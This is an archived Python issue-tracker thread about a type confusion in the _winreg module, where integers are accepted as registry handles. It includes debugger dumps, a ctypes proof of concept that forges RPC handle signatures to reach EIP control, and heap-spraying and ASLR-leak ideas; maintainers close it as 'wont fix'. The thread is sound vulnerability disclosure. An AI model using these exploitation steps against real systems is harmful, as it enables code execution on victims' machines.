This issue tracker has been migrated to GitHub, and is currently read-only.
For more information, see the GitHub FAQs in the Python's Developer Guide.

classification
Title: _winreg PyHKEY Type Confusion
Type: security Stage: resolved
Components: Windows Versions: Python 2.7
process
Status: closed Resolution: wont fix
Dependencies: Superseder:
Assigned To: steve.dower Nosy List: JohnLeitch, christian.heimes, eryksun, steve.dower, tim.golden, zach.ware
Priority: normal Keywords:

Created on 2015-05-15 08:36 by JohnLeitch, last changed 2022-04-11 14:58 by admin. This issue is now closed.

Files
File name Uploaded Description Edit
_winregTypeConfusion.py JohnLeitch, 2015-05-15 08:36 Repro File
Messages (9)
msg243257 - (view) Author: John Leitch (JohnLeitch) * Date: 2015-05-15 08:36
The Python _winreg module suffers from a type confusion vulnerability wherein pointers can be passed directly in place of PyHKEY instances e.g. _winreg.QueryValue(0x41414141, "")

This behavior is due to the underlying PyHKEY_AsHKEY function of _winreg.c:

BOOL
PyHKEY_AsHKEY(PyObject *ob, HKEY *pHANDLE, BOOL bNoneOK)
{
    if (ob == Py_None) {
        if (!bNoneOK) {
            PyErr_SetString(
                      PyExc_TypeError,
                      "None is not a valid HKEY in this context");
            return FALSE;
        }
        *pHANDLE = (HKEY)0;
    }
    else if (PyHKEY_Check(ob)) {
        PyHKEYObject *pH = (PyHKEYObject *)ob;
        *pHANDLE = pH->hkey;
    }
    else if (PyInt_Check(ob) || PyLong_Check(ob)) { <<<<<< if ob is an int/long, this path is taken.
        /* We also support integers */
        PyErr_Clear();
        *pHANDLE = (HKEY)PyLong_AsVoidPtr(ob); <<<<<< ob is casted to a void* here
        if (PyErr_Occurred())
            return FALSE;
    }
    else {
        PyErr_SetString(
                        PyExc_TypeError,
            "The object is not a PyHKEY object");
        return FALSE;
    }
    return TRUE;
}

When *ob is an integer or long, the function casts it to a void*. This behavior can be triggered using many of the _winreg functions, such as QueryValue, QueryValueEx, EnumValue, etc. 

0:000> r
eax=41414140 ebx=0027fbc8 ecx=00000000 edx=00000000 esi=770e351e edi=00000000
eip=74bf9af3 esp=0027f738 ebp=0027f764 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
RPCRT4!NDRCContextBinding+0x13:
74bf9af3 81780498badcfe  cmp     dword ptr [eax+4],0FEDCBA98h ds:002b:41414144=????????
0:000> k
ChildEBP RetAddr  
0027f764 74c0390c RPCRT4!NDRCContextBinding+0x13
0027f774 74c86dce RPCRT4!ExplicitBindHandleMgr+0x33
0027fba8 770e625c RPCRT4!NdrClientCall2+0x2ea
0027fbc0 771041e2 ADVAPI32!SafeBaseRegQueryInfoKey+0x24
0027fc04 76eacdca ADVAPI32!RemoteRegQueryInfoKeyWrapper+0x42
0027fcbc 1e0de85c KERNELBASE!LocalOpenPerformanceText+0x1c60
0027fd14 1e0ac6fc python27!PyEnumValue+0x6c [c:\build27\cpython\pc\_winreg.c @ 1213]
0027fd58 1e0efabf python27!_PyObject_GenericGetAttrWithDict+0x12c [c:\build27\cpython\objects\object.c @ 1428]
0027fde8 1e0f27eb python27!PyEval_EvalFrameEx+0x1cdf [c:\build27\cpython\python\ceval.c @ 2269]
0027fe00 1e0f11b2 python27!compiler_free+0x3b [c:\build27\cpython\python\compile.c @ 322]
0027fe2c 1e11707a python27!PyEval_EvalCode+0x22 [c:\build27\cpython\python\ceval.c @ 672]
0027fe44 1e1181c5 python27!run_mod+0x2a [c:\build27\cpython\python\pythonrun.c @ 1371]
0027fe64 1e118760 python27!PyRun_FileExFlags+0x75 [c:\build27\cpython\python\pythonrun.c @ 1358]
0027fea4 1e1190d9 python27!PyRun_SimpleFileExFlags+0x190 [c:\build27\cpython\python\pythonrun.c @ 950]
0027fec0 1e038d35 python27!PyRun_AnyFileExFlags+0x59 [c:\build27\cpython\python\pythonrun.c @ 753]
0027ff3c 1d00116d python27!Py_Main+0x965 [c:\build27\cpython\modules\main.c @ 643]
0027ff80 74d57c04 python!__tmainCRTStartup+0x10f [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 586]
0027ff94 7741ad1f KERNEL32!BaseThreadInitThunk+0x24
0027ffdc 7741acea ntdll!__RtlUserThreadStart+0x2f
0027ffec 00000000 ntdll!_RtlUserThreadStart+0x1b
0:000> !analyze -v
*******************************************************************************
*                                                                             *
*                        Exception Analysis                                   *
*                                                                             *
*******************************************************************************


FAULTING_IP: 
RPCRT4!NDRCContextBinding+13
74bf9af3 81780498badcfe  cmp     dword ptr [eax+4],0FEDCBA98h

EXCEPTION_RECORD:  ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 74bf9af3 (RPCRT4!NDRCContextBinding+0x00000013)
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414144
Attempt to read from address 41414144

CONTEXT:  00000000 -- (.cxr 0x0;r)
eax=41414140 ebx=0027fbc8 ecx=00000000 edx=00000000 esi=770e351e edi=00000000
eip=74bf9af3 esp=0027f738 ebp=0027f764 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
RPCRT4!NDRCContextBinding+0x13:
74bf9af3 81780498badcfe  cmp     dword ptr [eax+4],0FEDCBA98h ds:002b:41414144=????????

FAULTING_THREAD:  00000274

DEFAULT_BUCKET_ID:  INVALID_POINTER_READ

PROCESS_NAME:  python.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000000

EXCEPTION_PARAMETER2:  41414144

READ_ADDRESS:  41414144 

FOLLOWUP_IP: 
python27!PyEnumValue+6c [c:\build27\cpython\pc\_winreg.c @ 1213]
1e0de85c 85c0            test    eax,eax

NTGLOBALFLAG:  70

APPLICATION_VERIFIER_FLAGS:  0

APP:  python.exe

ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre

PRIMARY_PROBLEM_CLASS:  INVALID_POINTER_READ

BUGCHECK_STR:  APPLICATION_FAULT_INVALID_POINTER_READ

LAST_CONTROL_TRANSFER:  from 74c0390c to 74bf9af3

STACK_TEXT:  
0027f764 74c0390c 41414140 770bfc78 0027fba8 RPCRT4!NDRCContextBinding+0x13
0027f774 74c86dce 770e351e 0027f8f8 40b1cbac RPCRT4!ExplicitBindHandleMgr+0x33
0027fba8 770e625c 770bfc78 770e3514 0027fbc8 RPCRT4!NdrClientCall2+0x2ea
0027fbc0 771041e2 41414140 0027fc44 0027fbfc ADVAPI32!SafeBaseRegQueryInfoKey+0x24
0027fc04 76eacdca 41414140 0027fc44 0027fc78 ADVAPI32!RemoteRegQueryInfoKeyWrapper+0x42
0027fcbc 1e0de85c 41414141 00000000 00000000 KERNELBASE!LocalOpenPerformanceText+0x1c60
0027fd14 1e0ac6fc 1e0aafd7 00000000 01d8e620 python27!PyEnumValue+0x6c
0027fd58 1e0efabf 1e0f017a 0027fdb4 01d06b18 python27!_PyObject_GenericGetAttrWithDict+0x12c
0027fde8 1e0f27eb 01e05238 003c196b 00000000 python27!PyEval_EvalFrameEx+0x1cdf
0027fe00 1e0f11b2 01d06b18 01d34030 01d0aa50 python27!compiler_free+0x3b
0027fe2c 1e11707a 01d06b18 01d0aa50 01d0aa50 python27!PyEval_EvalCode+0x22
0027fe44 1e1181c5 01dca848 01d0aa50 01d0aa50 python27!run_mod+0x2a
0027fe64 1e118760 72f27408 003c196b 00000101 python27!PyRun_FileExFlags+0x75
0027fea4 1e1190d9 72f27408 003c196b 00000001 python27!PyRun_SimpleFileExFlags+0x190
0027fec0 1e038d35 72f27408 003c196b 00000001 python27!PyRun_AnyFileExFlags+0x59
0027ff3c 1d00116d 00000002 003c1948 003c1cf0 python27!Py_Main+0x965
0027ff80 74d57c04 7ffde000 74d57be0 409574f3 python!__tmainCRTStartup+0x10f
0027ff94 7741ad1f 7ffde000 433d59cc 00000000 KERNEL32!BaseThreadInitThunk+0x24
0027ffdc 7741acea ffffffff 77400223 00000000 ntdll!__RtlUserThreadStart+0x2f
0027ffec 00000000 1d001314 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  .cxr 0x0 ; kb

FAULTING_SOURCE_LINE:  c:\build27\cpython\pc\_winreg.c

FAULTING_SOURCE_FILE:  c:\build27\cpython\pc\_winreg.c

FAULTING_SOURCE_LINE_NUMBER:  1213

FAULTING_SOURCE_CODE:  
  1209: 
  1210:     if ((rc = RegQueryInfoKey(hKey, NULL, NULL, NULL, NULL, NULL, NULL,
  1211:                               NULL,
  1212:                               &retValueSize, &retDataSize, NULL, NULL))
> 1213:         != ERROR_SUCCESS)
  1214:         return PyErr_SetFromWindowsErrWithFunction(rc,
  1215:                                                    "RegQueryInfoKey");
  1216:     ++retValueSize;    /* include null terminators */
  1217:     ++retDataSize;
  1218:     bufDataSize = retDataSize;


SYMBOL_STACK_INDEX:  6

SYMBOL_NAME:  python27!PyEnumValue+6c

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: python27

IMAGE_NAME:  python27.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  5488ac17

FAILURE_BUCKET_ID:  INVALID_POINTER_READ_c0000005_python27.dll!PyEnumValue

BUCKET_ID:  APPLICATION_FAULT_INVALID_POINTER_READ_python27!PyEnumValue+6c

ANALYSIS_SOURCE:  UM

FAILURE_ID_HASH_STRING:  um:invalid_pointer_read_c0000005_python27.dll!pyenumvalue

FAILURE_ID_HASH:  {b72db5fa-dbfd-ad6f-cf69-1ef0b8d49eed}

Followup: MachineOwner
---------
msg243270 - (view) Author: Eryk Sun (eryksun) * (Python triager) Date: 2015-05-15 14:45
> wherein pointers can be passed directly in place of PyHKEY 
> instances e.g. _winreg.QueryValue(0x41414141, "")

If a debugger is attached you see the first-chance exception for the access violation. Normally the registry function simply returns ERROR_INVALID_HANDLE (6), which gets raised as an OSError in Python. 

The call took the RPC path because the low bit (1) marks a remote handle, which is actually a pointer to a data structure. RPCRT4!NDRCContextBinding looks for a signature (0xFEDCBA98) to validate this structure.

In this case the attempt raised an access violation, which gets handled by raising another exception with the exception code set to ERROR_INVALID_HANDLE. The same exception gets raised if it can't validate the handle. Subsequently this exception is handled by calling RPCRT4!NdrClientMapCommFault to map the code to a return value. 

For example (x64 ISA):

    >>> _winreg.QueryInfoKey(0x41414141)
    (a2c.828): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    RPCRT4!NDRCContextBinding+0x4:
    000007fe`fefca6e4 81790898badcfe  cmp     dword ptr [rcx+8],0FEDCBA98h ds:00000000`41414148=????????

    0:000> gN
    (a2c.828): Unknown exception - code 00000006 (first chance)
    Breakpoint 0 hit
    RPCRT4!NdrClientMapCommFault:
    000007fe`ff05f010 fff3            push    rbx

    0:000> kc 8
    Call Site
    RPCRT4!NdrClientMapCommFault
    RPCRT4!NdrpClientCall3
    RPCRT4!NdrClientCall3
    ADVAPI32!SafeBaseRegQueryInfoKey
    ADVAPI32!RemoteRegQueryInfoKeyWrapper
    kernel32!TlsGetValue
    ADVAPI32!RegQueryInfoKeyAStub
    python27!PyQueryInfoKey

The exception code is passed in register r8 and gets assigned to the address in r9:

    0:000> r r8, r9
    r8=0000000000000006 r9=000000000021f1d8

    0:000> dd 21f1d8 l1
    00000000`0021f1d8  00000000

    0:000> pt
    RPCRT4!NdrClientMapCommFault+0x80:
    000007fe`ff05f080 c3              ret
    0:000> dd 21f1d8 l1
    00000000`0021f1d8  00000006

This return value gets passed back up the call stack:

    0:000> gu; pt; r rax
    rax=0000000000000006
    0:000> gu; pt; r rax
    rax=0000000000000006
    0:000> gu; pt; r rax
    rax=0000000000000006
    0:000> gu; pt; r rax
    rax=0000000000000006
    0:000> gu; pt; r rax
    rax=0000000000000006
    0:000> r
    rax=0000000000000006 rbx=0000000000e1cda0 rcx=0000000000000000
    rdx=0000000000000000 rsi=0000000000000000 rdi=000000001e1027b0
    rip=00000000779ba204 rsp=000000000021f9d8 rbp=0000000000eb61c8
     r8=000000000021f1d8  r9=0000000000000000 r10=000000000021f1d8
    r11=000000000021f8b0 r12=0000000000e1cda0 r13=0000000000807bb0
    r14=000000001e2b3210 r15=0000000000eb7060
    iopl=0         nv up ei pl nz na po nc
    cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
    kernel32!RegQueryInfoKeyA+0x364:
    00000000`779ba204 c3              ret

Until finally getting raised as a Python exception:

    0:000> g
    Traceback (most recent call last):
      File "<stdin>", line 1, in <module>
    WindowsError: [Error 6] The handle is invalid

The odds are extremely low that someone will pass in an integer address that's flagged as a remote handle (ends in 1) and is a valid, mapped address that contains the RPC handle signature. Even then, it won't reference an actual proxy handle for a remote registry, so it'll just fail farther along the chain. 

I'm sure if a feature exists that someone, somewhere depends on it, so I don't see a reason to change this unless there's a real problem here. Is there a specific technical or security problem that you see here?
msg243292 - (view) Author: John Leitch (JohnLeitch) * Date: 2015-05-16 02:42
Thank you for taking the time to peruse my report and explain the behavior I observed. My understanding of Windows RPC internals is lacking, and perhaps I jumped the gun upon catching an AV while fuzzing.

That said, after poking around to better understand the matter, I discovered a few things:

1) There are code paths where it is possible to trigger an unhandled access violation:

0:000> g
(11a0.d54): Access violation - code c0000005 (!!! second chance !!!)
eax=60dad396 ebx=00000000 ecx=00000000 edx=00000000 esi=000000a0 edi=000000a0
eip=776f1037 esp=0027f790 ebp=0027f80c iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010216
ntdll!RtlAllocateHeap+0x17:
776f1037 8b4344          mov     eax,dword ptr [ebx+44h] ds:002b:00000044=??????
??
0:000> k
ChildEBP RetAddr
0027f80c 75471731 ntdll!RtlAllocateHeap+0x17
0027f82c 75479616 RPCRT4!AllocWrapper+0x2d
0027f840 75479791 RPCRT4!ThreadSelfHelper+0x16
0027f848 754f6b2a RPCRT4!ThreadSelf+0x18
0027fc74 753a5d94 RPCRT4!NdrClientCall2+0x13a
0027fc8c 7539f48b ADVAPI32!BaseRegGetVersion+0x24
0027fce4 7538dfce ADVAPI32!RegDeleteKeyW+0x14aeb
0027fd00 1e0de533 ADVAPI32!RegDeleteKeyA+0x2e
0027fd18 1e0aafd7 python27!PyDeleteKey+0x53
0027fd30 1e0edd10 python27!PyCFunction_Call+0x47
0027fd5c 1e0f017a python27!call_function+0x2b0
0027fdcc 1e0f1150 python27!PyEval_EvalFrameEx+0x239a
0027fe00 1e0f11b2 python27!PyEval_EvalCodeEx+0x690
0027fe2c 1e11707a python27!PyEval_EvalCode+0x22
0027fe44 1e1181c5 python27!run_mod+0x2a
0027fe64 1e118760 python27!PyRun_FileExFlags+0x75
0027fea4 1e1190d9 python27!PyRun_SimpleFileExFlags+0x190
0027fec0 1e038d35 python27!PyRun_AnyFileExFlags+0x59
0027ff3c 1d00116d python27!Py_Main+0x965
0027ff80 75967c04 python!__tmainCRTStartup+0x10f
0027ff94 7770ad1f KERNEL32!BaseThreadInitThunk+0x24
0027ffdc 7770acea ntdll!__RtlUserThreadStart+0x2f
0027ffec 00000000 ntdll!_RtlUserThreadStart+0x1b
0:000>

This doesn't appear to be outright exploitable for anything beyond DoS, but it does crash the process.

2) Assuming attacker control of the hkey parameter to a _winreg call, I believe it would be possible to leverage the RPC signature check to disclose the location of valid memory such as the RPC module itself, thereby bypassing ASLR.

>>> import _winreg
>>> _winreg.DeleteKey(0x75469AF1, '')

Traceback (most recent call last):
  File "<pyshell#13>", line 1, in <module>
    _winreg.DeleteKey(0x75469AF1, '')
WindowsError: [Error 6] The handle is invalid
>>> _winreg.DeleteKey(0x75469AF3, '')

>>> ================================ RESTART ================================
>>> 

0:000> dd 0x75469AF3
75469af3  98047881 0ffedcba 01d9a085 fc45c700
75469b03  fffffffe 8fe8008b c20000a2 90900004
75469b13  90909090 fffffe90 000000ff ffffd400
75469b23  000000ff fffffe00 49d901ff 49d92575
75469b33  06f76875 b2e80000 8b000161 47c7e845
75469b43  0000003c 50478900 00a661e9 09be0f00
75469b53  00a649e9 06f76800 8ee80000 68000161
75469b63  000006e6 016184e8 90909000 499e5190
0:000> !address 0x75469AF3


Usage:                  Image
Base Address:           75451000
End Address:            754fa000
Region Size:            000a9000
State:                  00001000        MEM_COMMIT
Protect:                00000020        PAGE_EXECUTE_READ
Type:                   01000000        MEM_IMAGE
Allocation Base:        75450000
Allocation Protect:     00000080        PAGE_EXECUTE_WRITECOPY
Image Path:             C:\WINDOWS\SysWOW64\RPCRT4.dll
Module Name:            RPCRT4
Loaded Image Name:      C:\WINDOWS\SYSTEM32\RPCRT4.dll
Mapped Image Name:
More info:              lmv m RPCRT4
More info:              !lmi RPCRT4
More info:              ln 0x75469af3
More info:              !dh 0x75450000

3) Finally, I still suspect it may be possible to achieve memory corruption with this bug, but cannot verify without a better understanding of the structures at play and further analysis. The hypothetical attack goes like this:

a) The attacker sprays memory with carefully constructed buffers containing the expected magic numbers at the correct offsets.

b) Once memory has been sufficiently sprayed, the attacker triggers the bug with an hkey value that is actually an address predicted to be one of the sprayed structures.

c) While working with the attacker controlled buffer, RPC inadvertently corrupts memory.

Step C is, of course, dependent on what what fields are available in the structure, and what RPC does with them. Unfortunately I can't find any relevant documentation or code, but in my testing I was able to force different code paths. Some look fruitful, but determining whether they're reachable would be costly time-wise, and it's a bit of a moot point because we're talking about Microsoft's internal implementation, which could change at any point, altering exploitability. Given that, I'd say it's best to err on the side of caution, and assume corruption is possible with the right primitives.
msg243306 - (view) Author: Eryk Sun (eryksun) * (Python triager) Date: 2015-05-16 10:30
> ntdll!RtlAllocateHeap+0x17: 
> 776f1037 8b4344          mov     eax,dword ptr [ebx+44h] ds:002b:00000044=????????

Some functions in RPCRT4 assume RPCRT4!PerformRpcInitialization has already been called. How else could you get an RPC handle? In this case RPCRT4!hRpcHeap hasn't been initialized yet.

That said, if you first perform some operation that properly initializes RPCRT4 -- such as query a privilege value from LSA -- then using a corrupt RPC handle will possibly trigger an unhandled exception farther down the line. I don't think this is a problem that needs to be addressed in winreg. It's an application bug. 

Also, note that changing this in the winreg module isn't as simple as just commenting out the code in PyHKEY_AsHKEY. You'd also have to special case the HKEY constants, one way or another.

Here's an example that first calls an LSA API to initialize RPCRT4 (test system: 64-bit Windows 10, 32-bit Python 2.7).

    Microsoft (R) Windows Debugger Version 10.0.10075.9 X86
    Copyright (c) Microsoft Corporation. All rights reserved.

    CommandLine: python

    ************* Symbol Path validation summary **************
    Response                         Time (ms)     Location
    Deferred                                       symsrv*symsrv.dll*
    C:\Symbols*http://msdl.microsoft.com/download/symbols
    Symbol search path is: symsrv*symsrv.dll*
    C:\Symbols*http://msdl.microsoft.com/download/symbols
    Executable search path is:
    (818.b4c): Break instruction exception - code 80000003 (first chance)
    eax=00000000 ebx=00000000 ecx=0cbe0000 edx=00000000 esi=1d0000e8 edi=7ffde000
    eip=7756fb65 esp=0028fa64 ebp=0028fa90 iopl=0         nv up ei pl zr na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
    ntdll!LdrpDoDebuggerBreak+0x2b:
    7756fb65 cc              int     3
    0:000> bp RPCRT4!PerformRpcInitialization
    0:000> g

    Python 2.7.9 (default, Dec 10 2014, 12:24:55) [MSC v.1500 32 bit (Intel)] on win32
    Type "help", "copyright", "credits" or "license" for more information.

    >>> import ctypes, _winreg
    >>> advapi32 = ctypes.WinDLL('advapi32')
    >>> x = (ctypes.c_void_p * 4)()
    >>> advapi32.LookupPrivilegeValueA(None, 'SeDebugPrivilege', x)

    Breakpoint 0 hit
    eax=0028f558 ebx=00000000 ecx=00000000 edx=00000000 esi=00000000 edi=0028f580
    eip=7477183a esp=0028f51c ebp=0028f530 iopl=0         nv up ei pl zr na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
    RPCRT4!PerformRpcInitialization:
    7477183a 8bff            mov     edi,edi

    0:000> dd RPCRT4!hRpcHeap l1
    747dc870  00000000
    0:000> pt; dd RPCRT4!hRpcHeap l1
    747dc870  003a0000
    0:000> g
    1

    >>> x[0] = 123 # bad internal RPC handle
    >>> x[1] = 0xFEDCBA98 # RPC context handle signature
    >>> _winreg.DeleteKey(ctypes.addressof(x) | 1, '')

RPCRT4 is initialized, so the unhandled exception shown below is no longer due to RPCRT4!hRpcHeap. Checking the context handle also succeeds in this case since I added the 0xFEDCBA98 signature, but it fails while checking the internal handle (0x7b, in register esi) for the signature 0x89ABCDEF.

    (818.b4c): Access violation - code c0000005 (!!! second chance !!!)
    eax=9b4e8357 ebx=0028f860 ecx=00000024 edx=00000001 esi=0000007b edi=748c66d0
    eip=74766121 esp=0028f814 ebp=0028f828 iopl=0         nv up ei pl nz na pe nc
    cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
    RPCRT4!I_RpcGetBufferWithObject+0x21:
    74766121 817e04efcdab89  cmp     dword ptr [esi+4],89ABCDEFh ds:002b:0000007f=????????

In a 64-bit process this example doesn't crash the process. Instead the x64 version of RPCRT4.DLL handles the access violation by returning the exception code 0xC0000005.
msg243372 - (view) Author: John Leitch (JohnLeitch) * Date: 2015-05-16 22:22
Thank you again for the explanation of the internals at play here. Armed with the knowledge you provided, I conducted further experimentation, and I believe I can now demonstrate how EIP control is possible with this bug. Note that RPC initialization is not necessary, thus lowering the barrier to entry.

First, it is possible to satisfy both magic number checks using a single buffer, and the predicted address of said buffer. This can be simulated with the following script:

import _winreg
test = "AAAA\x98\xba\xdc\xfeCCCC\xEF\xCD\xAB\x89EEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQAAAA"
_winreg.QueryValueEx(0x41414141, 'test')

A breakpoint is set at the first magic number check to give us an opportunity to patch up our buffer with the "predicted" addresses.

Breakpoint 0 hit
eax=41414140 ebx=0027fc2c ecx=00000000 edx=00000000 esi=753a3584 edi=00000000
eip=75469af3 esp=0027f79c ebp=0027f7c8 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
RPCRT4!NDRCContextBinding+0x13:
75469af3 81780498badcfe  cmp     dword ptr [eax+4],0FEDCBA98h ds:002b:41414144=?
???????
0:000> s -b 0x0 L?0x7fffffff 41 41 41 41 98 ba dc fe
01ccc37c  41 41 41 41 98 ba dc fe-43 43 43 43 ef cd ab 89  AAAA....CCCC....
0:000> r @eax=0x01ccc37c
0:000> ed eax eax+0x8
0:000> ed eax+0x8 eax+0xc
0:000> dc eax
01ccc37c  01ccc384 fedcba98 01ccc388 89abcdef  ................
01ccc38c  45454545 46464646 47474747 48484848  EEEEFFFFGGGGHHHH
01ccc39c  49494949 4a4a4a4a 4b4b4b4b 4c4c4c4c  IIIIJJJJKKKKLLLL
01ccc3ac  4d4d4d4d 4e4e4e4e 4f4f4f4f 50505050  MMMMNNNNOOOOPPPP
01ccc3bc  51515151 41414141 01ccab00 01cbe048  QQQQAAAA....H...
01ccc3cc  01cbe070 01ccabe0 01cbe098 01cbe0c0  p...............
01ccc3dc  baadf000 01ccc548 1e228bf8 00000062  ....H.....".b...
01ccc3ec  ffffffff 00000000 72747320 6c6c6f63  ........ strcoll
0:000> r
eax=01ccc37c ebx=0027fc2c ecx=00000000 edx=00000000 esi=753a3584 edi=00000000
eip=75469af3 esp=0027f79c ebp=0027f7c8 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
RPCRT4!NDRCContextBinding+0x13:
75469af3 81780498badcfe  cmp     dword ptr [eax+4],0FEDCBA98h ds:002b:01ccc380=f
edcba98

While we patched up the buffer with two addresses, this is still viable through heap spraying because the second address is relative to the first. Continuing execution, we hit our second magic number check:

0:000> g
Breakpoint 2 hit
eax=e7fafcfb ebx=0027f7f8 ecx=0000009c edx=00000001 esi=01ccc384 edi=01ccc384
eip=75472451 esp=0027f7ac ebp=0027f7c0 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
RPCRT4!I_RpcGetBufferWithObject+0x21:
75472451 817e04efcdab89  cmp     dword ptr [esi+4],89ABCDEFh ds:002b:01ccc388=89
abcdef
0:000> dc esi+4
01ccc388  89abcdef 45454545 46464646 47474747  ....EEEEFFFFGGGG
01ccc398  48484848 49494949 4a4a4a4a 4b4b4b4b  HHHHIIIIJJJJKKKK
01ccc3a8  4c4c4c4c 4d4d4d4d 4e4e4e4e 4f4f4f4f  LLLLMMMMNNNNOOOO
01ccc3b8  50505050 51515151 41414141 01ccab00  PPPPQQQQAAAA....
01ccc3c8  01cbe048 01cbe070 01ccabe0 01cbe098  H...p...........
01ccc3d8  01cbe0c0 baadf000 01ccc548 1e228bf8  ........H.....".
01ccc3e8  00000062 ffffffff 00000000 72747320  b........... str
01ccc3f8  6c6c6f63 72747328 2c676e69 69727473  coll(string,stri

All is well. When execution is continued, we achieve EIP control:

0:000> g
(10d8.15a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=0027f7f8 ecx=01ccc384 edx=00000001 esi=01ccc384 edi=00000040
eip=41414141 esp=0027f79c ebp=0027f7c0 iopl=0         nv up ei ng nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010287
41414141 ??              ???

Apologies for the messy memory editing; there's probably a more Pythonic way of patching the buffer. And, of course, I believe it to be possible to achieve this via heap spraying, without any patching at all. Given this, I think exploitation in the real world is possible with two primitives: heap spraying and hkey value control. A web application, for example, might offer an attacker both of these primitives, while at the same time reasonably expecting arbitrary code execution to be prohibited.
msg277329 - (view) Author: Christian Heimes (christian.heimes) * (Python committer) Date: 2016-09-24 19:14
Steve, Zach, please have a look.
msg277334 - (view) Author: Steve Dower (steve.dower) * (Python committer) Date: 2016-09-24 20:58
I think this requires arbitrary code execution as a minimum - there's no way anyone would pass a user-provided value here - so the security implications are less interesting.

All we can really do is restrict the types accepted here, which I don't think is appropriate in a maintenance release. Possibly it's not too late to deprecate in 3.6 for removal in 3.8, but it is certainly a documented feature. Checking a handle for validity is not part of user mode API, as far as I know - EAFP.
msg277401 - (view) Author: Zachary Ware (zach.ware) * (Python committer) Date: 2016-09-26 04:18
I agree with Eryk that this is not a winreg bug.  If I'm understanding this correctly, you would need to pass unsanitized remote input into a function that's going to affect your registry.  That strikes me as an incredibly ridiculous thing to do; anyone doing so is begging to be exploited regardless of this issue.

I'd vote to close as 'wont fix', but will defer to Steve.
msg277420 - (view) Author: Steve Dower (steve.dower) * (Python committer) Date: 2016-09-26 14:09
Agreed.
History
Date User Action Args
2022-04-11 14:58:16adminsetgithub: 68389
2016-09-26 14:09:31steve.dowersetstatus: open -> closed
resolution: wont fix
messages: + msg277420

stage: needs patch -> resolved
2016-09-26 04:18:48zach.waresetmessages: + msg277401
2016-09-24 20:58:29steve.dowersetmessages: + msg277334
2016-09-24 19:14:07christian.heimessetnosy: + christian.heimes
messages: + msg277329

assignee: steve.dower
stage: needs patch
2015-05-16 22:22:28JohnLeitchsetmessages: + msg243372
2015-05-16 10:30:51eryksunsetmessages: + msg243306
2015-05-16 02:42:40JohnLeitchsetmessages: + msg243292
2015-05-15 14:45:17eryksunsetnosy: + eryksun
messages: + msg243270
2015-05-15 08:36:51JohnLeitchcreate